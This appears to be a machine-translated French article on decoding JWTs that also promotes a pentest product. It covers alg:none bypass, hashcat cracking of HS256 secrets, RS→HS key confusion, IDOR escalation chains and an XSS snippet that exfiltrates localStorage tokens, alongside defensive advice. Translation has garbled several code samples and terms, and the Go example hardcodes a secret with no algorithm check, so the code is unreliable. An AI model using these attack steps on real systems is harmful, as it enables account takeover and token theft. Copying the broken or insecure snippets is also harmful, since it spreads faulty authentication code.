Ce que signifie réellement le décodage d'un JWT
Le décodage d'un JWT consiste à extraire son en-tête et sa charge utile - qui ne sont encodés qu'en Base64URL - afin de révéler l'algorithme, les métadonnées et les revendications contenus dans le jeton. Ce processus pas vérifier son authenticité. N'importe qui peut décoder un JWT, mais vérifier uniquement la signature détermine si le jeton est digne de confiance. Cette distinction est essentielle pour l'authentification sécurisée et les tests de pénétration.

Fonctionnement interne du décodage JWT
Un jeton Web JSON est composé de :
css
header.payload.signature L'en-tête et la charge utile sont des objets JSON encodés en Base64URL. Par exemple, l'en-tête et la charge utile sont des objets JSON codés en Base64URL :
json
// En-tête
{
"alg" : "HS256",
"typ" : "JWT"
}
// Charge utile
{
"nom d'utilisateur" : "admin",
"rôle" : "SuperUser"
}
Le décodage manuel ne nécessite que des opérations Base64URL :
python
import base64, json
def decode_part(segment) :
padded = segment + "=" * (-len(segment) % 4)
return json.loads(base64.urlsafe_b64decode(padded))
header, payload, _ = token.split(".")
print(decode_part(header))
print(decode_part(payload))
Cela démontre une vérité fondamentale en matière de sécurité : Le décodage des JWT n'implique pas la confiance. Pour être légitime, la vérification doit porter sur la signature, l'émetteur, l'audience, l'expiration et l'algorithme de signature.

Outils populaires pour décoder les jetons JWT
| Outil | La force | Lien |
|---|---|---|
| JWT.io | Décodage en temps réel, expériences rapides | https://jwt.io |
| Décodeur de SuperTokens | Une interface utilisateur propre et conviviale pour les développeurs | https://supertokens.com/jwt-encoder-decoder |
| Débogueur de jetons Auth0 | Vérification de niveau entreprise | https://auth0.com/docs/tokens |
| PyJWT | CLI + bibliothèque Python | https://pyjwt.readthedocs.io |
| jwt-decode (JS) | Décodeur léger côté navigateur | https://www.npmjs.com/package/jwt-decode |
Exemples d'attaques JWT dans le monde réel vus dans les pentests
Le décodage des JWT devient dangereux lorsque les attaquants le combinent avec des défauts de signature, des secrets faibles et une validation peu sûre. Voici des scénarios d'attaque qui apparaissent fréquemment dans le monde réel.
"alg : none" Contournement de la signature
Les bibliothèques plus anciennes acceptaient les JWT non signés :
json
{
"alg" : "none",
"typ" : "JWT"
}
Les attaquants pourraient supprimer entièrement la signature et s'authentifier sans le secret.
Secret faible Brute Force (HS256)
Les développeurs utilisent souvent des secrets comme :
nginx
secret
admin123
mot de passe
Les attaquants utilisent Hashcat :
css
hashcat -a 0 -m 16500 token.hash wordlist.txt
Algorithme Confusion (RS256 → HS256)
L'attaquant :
- Changements d'algorithme de
RS256àHS256 - Utilise la clé publique du serveur comme secret HMAC
- Forge des jetons valides accordant des rôles d'administrateur
Il s'agit de l'une des attaques JWT les plus importantes jamais découvertes.

Vol de jetons via XSS
Si les JWT sont stockés dans stockage localles attaquants peuvent les voler :
javascript
<script>
fetch("" + localStorage.token) ;
</script>
Mauvaise configuration de CORS conduisant à l'exposition des tokens
Si les politiques CORS autorisent les caractères génériques, les requêtes du navigateur peuvent faire fuir les cookies JWT vers des domaines contrôlés par des attaquants.
Attaques par répétition dans les jetons mobiles à longue durée de vie
Les attaquants extraient des jetons de :
- stockage local non crypté
- appareils rootés
- caches non sécurisés
Le rejeu peut contourner entièrement l'AMF.
Code de décodage et de vérification JWT multilingue
Node.js
javascript
const jwt = require("jsonwebtoken") ;
const decoded = jwt.verify(token, PUBLIC_KEY, {
algorithmes : ["RS256"],
issuer : "auth.example.com",
audience : "exemple.com"
});
console.log(decoded) ;
Aller
aller
token, err := jwt.Parse(tokenString, func(t *jwt.Token) (interface{}, error) {
return []byte("secret"), nil
})
Rouille
rouille
let decoded = decode::(
de jetons,
&DecodingKey::from_secret(secret.as_ref()),
&Validation::new(Algorithm::HS256)
);
Décodage manuel des JWT pour les pentesters
Lors des pentests, le décodage des JWT se révèle :
- privilèges stockés en clair
- manquant
expouiat - algorithme mal configuré
- données sensibles dans la charge utile
- les vecteurs possibles d'escalade des privilèges
C'est ainsi que les testeurs identifient les contrôles d'accès non respectés et escaladent les rôles.
Décodeur JavaScript manuel (sans bibliothèque)
javascript
function decode(seg) {
seg = seg.replace(/-/g, "+").replace(/_/g, "/") ;
seg += "=".repeat((4 - seg.length % 4) % 4) ;
return JSON.parse(atob(seg)) ;
}
Chaînes d'attaques avancées de JWT (scénarios de l'équipe rouge)
JWT + IDOR → Reprise de compte complète
Débit :
- décoder JWT
- changer
"sub" : "501"à"sub" : "1" - re-signer ou contourner la signature
- atteindre le point de terminaison privilégié
- escalade des privilèges
Cette chaîne apparaît presque chaque semaine dans les évaluations d'entreprises.
JWT + Microservice Impersonation
La faiblesse de la validation interne permet aux attaquants de se faire passer pour des services :
- accéder aux données de facturation
- modifier les autorisations des utilisateurs
- lire les files d'attente de messages
- contourner les passerelles API
Meilleures pratiques défensives (équipe bleue)
Application stricte des algorithmes
python
jwt.decode(token, key, algorithms=["RS256"])
Secrets forts pour HS256
Générer en utilisant :
perl
openssl rand -hex 32
Valider les allégations standard
exp
iss
aud
nbf
Stocker les JWT dans les cookies HttpOnly
Atténue le vol de jetons XSS.
Mise en œuvre de la rotation des touches
Utiliser JWKS pour la gestion des clés distribuées :
L'analyse de sécurité de JWT est intégrée dans Penligent.ai
Les systèmes d'authentification modernes utilisent souvent des dizaines de microservices, chacun avec sa propre logique JWT. L'examen manuel devient lent et source d'erreurs. Penligent.aiune plateforme intelligente de tests de pénétration, intègre l'analyse des JWT directement dans ses flux de travail automatisés en matière de sécurité.
Penligent.ai exécuter :
- les contrôles de validation des signatures
- détection de secrets faibles à l'aide d'un craquage hybride CPU/GPU
- détection de la non-concordance des algorithmes
- tests de manipulation des demandes
- simulations d'abus de jetons (replay et refresh-token)
- analyse des fuites de jetons dans les paquets JS
- corrélation des points de terminaison pour détecter les incohérences dans la validation des JWT
Il reconstitue également les chaînes d'exploitation, telles que :
- RS256 → HS256 confusion des clés
- IDOR par l'intermédiaire d'un
sousréclamer - escalade des privilèges par l'intermédiaire d'un faux
rôlechamps
Pour les grandes applications, cette analyse automatisée des JWT réduit considérablement la charge de travail manuelle tout en mettant en évidence des vulnérabilités qui échappent souvent aux outils traditionnels.
Matrice complète de l'attaque et de la défense des JWT
| Attaque | Description | Exemple | Défense |
|---|---|---|---|
| alg : aucun | Supprime la signature | Champ de signature vide | Rejeter les JWT non signés |
| RS→HS Confusion | Clé publique utilisée comme secret HMAC | Jeton d'administration falsifié | Appliquer l'algorithme |
| Secret faible | La force brute HS256 | "password123" secret | Clé aléatoire de 32 octets |
| Réclamations falsifiées | Modifier le rôle/sous-rôle | "rôle "admin | Autorisation côté serveur |
| Vol XSS | JS vole JWT | localStorage.token | HttpOnly cookies |
| Replay Attack | Jeton de réutilisation | Applications mobiles | TTL court, rotation |
| Fuite de jetons internes | Usurpation d'identité de service | Microservices | mTLS, JWKS, champs d'application |
Réflexions finales
Le décodage d'un JWT n'est qu'un début. La véritable sécurité passe par la vérification des signatures, l'application d'algorithmes stricts, la validation des revendications, la rotation des clés et le stockage des jetons en toute sécurité. Les applications modernes reposent largement sur l'authentification par jeton, ce qui fait de l'exactitude des JWT un élément crucial de la posture de sécurité.
En combinant des pratiques d'ingénierie rigoureuses avec des plateformes de sécurité automatisées telles que Penligent.aiGrâce à ce système, les organisations peuvent rapidement identifier les mauvaises configurations, prévenir les attaques par escalade de privilèges et s'assurer que leurs systèmes d'authentification sont résilients face aux techniques modernes d'adversaires.
